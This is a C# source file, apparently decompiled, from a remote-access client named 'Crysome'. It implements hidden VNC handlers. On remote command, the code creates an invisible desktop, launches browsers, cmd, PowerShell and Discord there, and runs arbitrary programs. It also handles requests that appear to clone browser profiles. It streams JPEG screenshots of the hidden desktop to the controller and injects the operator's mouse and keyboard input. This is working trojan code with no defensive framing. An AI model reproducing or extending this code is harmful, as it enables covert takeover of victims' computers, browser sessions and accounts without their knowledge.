Files
2026-08-27 11:22:54 -06:00

350 lines
7.5 KiB
C#

using System;
using System.Collections.Concurrent;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Threading;
using Crysome.Client.Hvnc;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Server;
namespace Crysome.Client.Handlers;
public static class HvncHandlers
{
private const string DesktopName = "CrysomeHvncDesktop";
private static volatile bool _running;
private static Thread _captureThread;
private static Thread _sendThread;
private static CrysomeClient _client;
private static HvncImagingHandler _imaging;
private static HvncInputHandler _input;
private static HvncProcessHandler _process;
private static int _quality;
private static int _intervalMs;
private static readonly object _lock;
private static readonly BlockingCollection<Action> _hvncInputQueue;
private static readonly Thread _hvncInputPump;
private static volatile byte[] _pendingFrame;
private static readonly SemaphoreSlim _frameSem;
static HvncHandlers()
{
_quality = 80;
_intervalMs = 50;
_lock = new object();
_hvncInputQueue = new BlockingCollection<Action>();
_frameSem = new SemaphoreSlim(0, 1);
_hvncInputPump = new Thread((ThreadStart)delegate
{
foreach (Action item in _hvncInputQueue.GetConsumingEnumerable())
{
try
{
item?.Invoke();
}
catch (Exception ex)
{
Program.Log("HVNC input: " + ex.Message);
}
}
})
{
IsBackground = true,
Name = "HvncInputPump"
};
_hvncInputPump.Start();
}
public static void HandleStartHvnc(CrysomeClient client, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
StartHvncPacket val = (StartHvncPacket)packet;
lock (_lock)
{
if (!_running)
{
_quality = Math.Max(10, Math.Min(100, val.Quality));
_intervalMs = Math.Max(33, Math.Min(500, val.IntervalMs));
_client = client;
try
{
_imaging = new HvncImagingHandler("CrysomeHvncDesktop");
_input = new HvncInputHandler("CrysomeHvncDesktop");
_process = new HvncProcessHandler("CrysomeHvncDesktop");
_process.StartExplorer();
Thread.Sleep(500);
}
catch (Exception ex)
{
Program.Log("HVNC init: " + ex.Message);
DisposeHandlers();
return;
}
_running = true;
_pendingFrame = null;
_sendThread = new Thread(SendLoop)
{
IsBackground = true,
Name = "HvncSend"
};
_sendThread.Start();
_captureThread = new Thread(CaptureLoop)
{
IsBackground = true,
Name = "HvncCapture"
};
_captureThread.Start();
}
}
}
public static void HandleStopHvnc(CrysomeClient client, IPacket packet)
{
lock (_lock)
{
_running = false;
try
{
_frameSem.Release();
}
catch
{
}
_captureThread?.Join(3000);
_sendThread?.Join(2000);
DisposeHandlers();
}
}
public static void HandleHvncRunRequest(CrysomeClient client, IPacket packet)
{
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
//IL_0007: Expected O, but got Unknown
HvncRunRequestPacket val = (HvncRunRequestPacket)packet;
if (!_running || _process == null)
{
return;
}
try
{
switch (val.Action)
{
case 0:
_process.StartExplorer();
break;
case 1:
_process.StartRunDialog();
break;
case 2:
_process.StartCmd();
break;
case 3:
_process.StartPowerShell();
break;
case 4:
_process.StartChrome();
break;
case 5:
_process.StartEdge();
break;
case 6:
_process.StartFirefox();
break;
case 7:
_process.StartOpera();
break;
case 8:
_process.StartOperaGX();
break;
case 9:
_process.StartBrave();
break;
case 17:
_process.StartNotepad();
break;
case 18:
_process.StartCalculator();
break;
case 11:
case 12:
case 13:
case 14:
case 15:
case 16:
_process.HandleCloneRequest(val.Action);
break;
case 19:
_process.StartDiscord();
break;
case 10:
if (!string.IsNullOrEmpty(val.Path))
{
_process.CreateProc(val.Path);
}
break;
}
}
catch (Exception ex)
{
Program.Log("HVNC run: " + ex.Message);
}
}
public static void HandleHvncInput(CrysomeClient client, IPacket packet)
{
//IL_0007: Unknown result type (might be due to invalid IL or missing references)
//IL_000d: Expected O, but got Unknown
HvncInputPacket val = (HvncInputPacket)packet;
if (_running && _input != null)
{
uint msg = (uint)val.Msg;
IntPtr wParam = new IntPtr(val.WParam);
IntPtr lParam = new IntPtr(val.LParam);
_hvncInputQueue.Add(delegate
{
_input.Input(msg, wParam, lParam);
});
}
}
private static void DisposeHandlers()
{
try
{
_imaging?.Dispose();
_imaging = null;
_input?.Dispose();
_input = null;
_process = null;
}
catch
{
}
}
private static void SendLoop()
{
while (_running)
{
try
{
_frameSem.Wait(100);
if (!_running)
{
break;
}
byte[] array = Interlocked.Exchange(ref _pendingFrame, null);
if (array != null && array.Length != 0)
{
if (!_client.IsConnected)
{
break;
}
_client.SendHvncFrame(array);
}
}
catch (Exception ex)
{
Program.Log("HVNC send: " + ex.Message);
if (!_running)
{
break;
}
}
}
}
private static void CaptureLoop()
{
ImageCodecInfo jpegCodec = GetJpegCodec();
Stopwatch stopwatch = Stopwatch.StartNew();
while (_running && _client != null && _imaging != null)
{
long elapsedMilliseconds = stopwatch.ElapsedMilliseconds;
try
{
if (!_client.IsConnected)
{
break;
}
using Bitmap bitmap = _imaging.Screenshot();
if (bitmap != null)
{
byte[] array = EncodeJpeg(bitmap, jpegCodec);
if (array != null && array.Length != 0)
{
Interlocked.Exchange(ref _pendingFrame, array);
try
{
_frameSem.Release();
}
catch (SemaphoreFullException)
{
}
}
}
}
catch (Exception ex2)
{
Program.Log("HVNC capture: " + ex2.Message);
}
long num = stopwatch.ElapsedMilliseconds - elapsedMilliseconds;
int num2 = Math.Max(0, _intervalMs - (int)num);
if (num2 > 0)
{
Thread.Sleep(num2);
}
}
}
private static ImageCodecInfo GetJpegCodec()
{
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
foreach (ImageCodecInfo imageCodecInfo in imageEncoders)
{
if (imageCodecInfo.FormatID == ImageFormat.Jpeg.Guid)
{
return imageCodecInfo;
}
}
return null;
}
private static byte[] EncodeJpeg(Bitmap bmp, ImageCodecInfo codec)
{
if (codec == null)
{
using (MemoryStream memoryStream = new MemoryStream())
{
bmp.Save(memoryStream, ImageFormat.Jpeg);
return memoryStream.ToArray();
}
}
using MemoryStream memoryStream2 = new MemoryStream();
using (EncoderParameters encoderParameters = new EncoderParameters(1))
{
encoderParameters.Param[0] = new EncoderParameter(Encoder.Quality, _quality);
bmp.Save(memoryStream2, codec, encoderParameters);
}
return memoryStream2.ToArray();
}
}